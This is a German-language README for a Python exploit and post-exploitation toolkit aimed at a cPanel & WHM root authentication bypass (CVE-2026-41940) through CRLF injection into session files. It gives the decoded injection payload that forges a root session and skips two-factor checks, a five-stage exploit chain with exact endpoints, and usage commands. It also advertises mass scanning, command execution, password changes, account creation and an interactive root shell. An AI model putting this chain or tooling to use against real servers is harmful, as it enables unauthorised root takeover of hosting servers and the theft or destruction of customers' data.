
Automatisierter Scanner & Post-Exploitation-Toolkit für CVE-2026-41940 — cPanel & WHM Root-Authentifizierungs-Bypass via CRLF-Injection in Session-Dateien
Englisch | فارسی (Persisch)
██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║
██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║
╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗
╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚══════╝
██████╗██╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝
██║ ██║ ██║█████╗
██║ ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
╚═════╝ ╚═══╝ ╚══════╝
███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝
█████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║
██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║
███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝
Automatisierter Scanner & Post-Exploitation-Toolkit für CVE-2026-41940 — cPanel- & WHM-Root-Authentifizierungs-Bypass durch CRLF-Injection in Sitzungsdateien.
CPANEL CVE EXPLOIT ist ein Python-Tool in einer einzigen Datei, das für autorisierte Sicherheitsüberprüfungen von cPanel- & WHM-Servern entwickelt wurde, die für CVE-2026-41940 anfällig sind.
Die Schwachstelle ermöglicht es einem nicht authentifizierten entfernten Angreifer, WHM-Sitzungsdateien durch CRLF-Injection im Authorization: Basic-Header zu manipulieren (zu vergiften), wodurch die Authentifizierung umgangen und WHM-Zugriff mit Root-Rechten ohne gültige Anmeldedaten erlangt wird.
| Eigenschaft | Wert |
|---|---|
| CVE | CVE-2026-41940 |
| Schweregrad | Kritisch |
| CVSS | 10.0 |
| Angriffsvektor | Netzwerk / Nicht authentifiziert |
| Auswirkung | Voller WHM-Root-Zugriff |
| Standardport | 2087 (WHM) |
| Status | Ausnutzung in freier Wildbahn bestätigt (Apr. 2026) |
In anfälligen Versionen von cPanel & WHM ruft saveSession() in Session.pm filter_sessiondata() nach dem Schreiben der Sitzungsdatei auf die Festplatte auf. Ein Angreifer kann CRLF-Zeichen (\r\n) über den HTTP-Header Authorization: Basic injizieren, die direkt in die Sitzungsdatei auf der Festplatte geschrieben werden – und so die Bereinigung umgehen.
Das Tool verwendet einen Base64-kodierten Payload, der wie folgt dekodiert wird:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Diese Felder simulieren eine vollständig authentifizierte WHM-Root-Sitzung, einschließlich 2FA-Umgehung (tfa_verified=1) und Root-Rechte-Flag (hasroot=1).
cPanel hat filter_sessiondata() so verschoben, dass es vor dem Schreibvorgang der Sitzung in Session.pm ausgeführt wird.
Die Exploit-Kette besteht aus 5 Phasen (Phase 0–4):
flowchart TD
A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session]
B --> C[Stage 2: CRLF Injection via Authorization Header]
C --> D[Stage 3: Session Propagation via do_token_denied]
D --> E[Stage 4: Verify Root Access via json-api/version]
E --> F{Vulnerable?}
F -->|Yes| G[Post-Exploit Actions / Interactive Shell]
F -->|No| H[Skip Target]
A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"]
B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"]
C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"]
D -.- D1["GET /scripts2/listaccts → flush raw session to cache"]
E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"]
| Phase | Endpunkt | Zweck |
|---|---|---|
| 0 | /openid_connect/cpanelid | Kanonischen Hostnamen per 307-Weiterleitung automatisch ermitteln |
| 1 | /login/?login_only=1 | Preauth-whostmgrsession-Cookie mit falschen Anmeldedaten abrufen |
| 2 | / | CRLF-vergifteten Authorization: Basic-Header in die Sitzungsdatei injizieren |
| 3 | /scripts2/listaccts | do_token_denied-Gadget auslösen, um die Sitzung in den Cache zu schreiben |
| 4 | /{token}/json-api/version | Root-Zugriff bestätigen — HTTP 200 mit Versions-JSON |
| Funktion | Beschreibung |
|---|---|
| Einzelziel-Scan | Vollständige Exploit-Kette gegen eine WHM-URL |
| Massenscan | Multithread-Scan aus Datei oder stdin |
| Versionserkennung | Automatischer Vergleich gepatchter/anfälliger Versionen |
| Post-Exploit-API | Passwortänderung, Befehlsausführung, Kontoliste, Benutzererstellung |
| Interaktive Shell | Integrierte WHM-Root-Shell mit Dateilesen & API-Befehlen |
| Selenium-Login | Sitzungscookie automatisch in Chrome/Firefox injizieren |
| Manueller Browser-Fallback | JavaScript-Consolen-Snippets für manuelles WHM-Login |
| RCE-Prüfung | Schnelle id / uname -a-Überprüfung nach dem Bypass |
| JSON-Export | Alle Ergebnisse in einem strukturierten JSON-Bericht speichern |
| Pipeline-tauglich | Funktioniert mit httpx-, subfinder-, shodan- und awk-Pipelines |
| Nur Stdlib | Keine pip-Abhängigkeiten für die Kernfunktionen erforderlich |
| Farbige Ausgabe | Echtzeit-Phasenprotokollierung mit Schweregrad-Indikatoren |
| Zweig | Patch ab | Status |
|---|---|---|
| 11.110.x | 11.110.0.97 | Vor Patch anfällig |
| 11.118.x | 11.118.0.63 | Vor Patch anfällig |
| 11.126.x | 11.126.0.54 | Vor Patch anfällig |
| 11.132.x | 11.132.0.29 | Vor Patch anfällig |
| 11.134.x | 11.134.0.20 | Vor Patch anfällig |
| 11.136.x | 11.136.0.5 | Vor Patch anfällig |
Hinweis: Ziele mit gepatchten Builds werden beim Scannen automatisch markiert und übersprungen.
| Paket | Zweck |
|---|---|
selenium | Browser-Autologin (--selenium) |
| Chrome / Firefox | Browser-Engine für Selenium |
pip install -r requirements.txt # optional — selenium only
git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit
Kein Build-Schritt erforderlich. Direkt ausführen:
python3 test-cve.py --help
# Scan a single WHM target
python3 test-cve.py -u https://target.com:2087
# Scan with post-exploit: list all cPanel accounts
python3 test-cve.py -u https://target.com:2087 --action list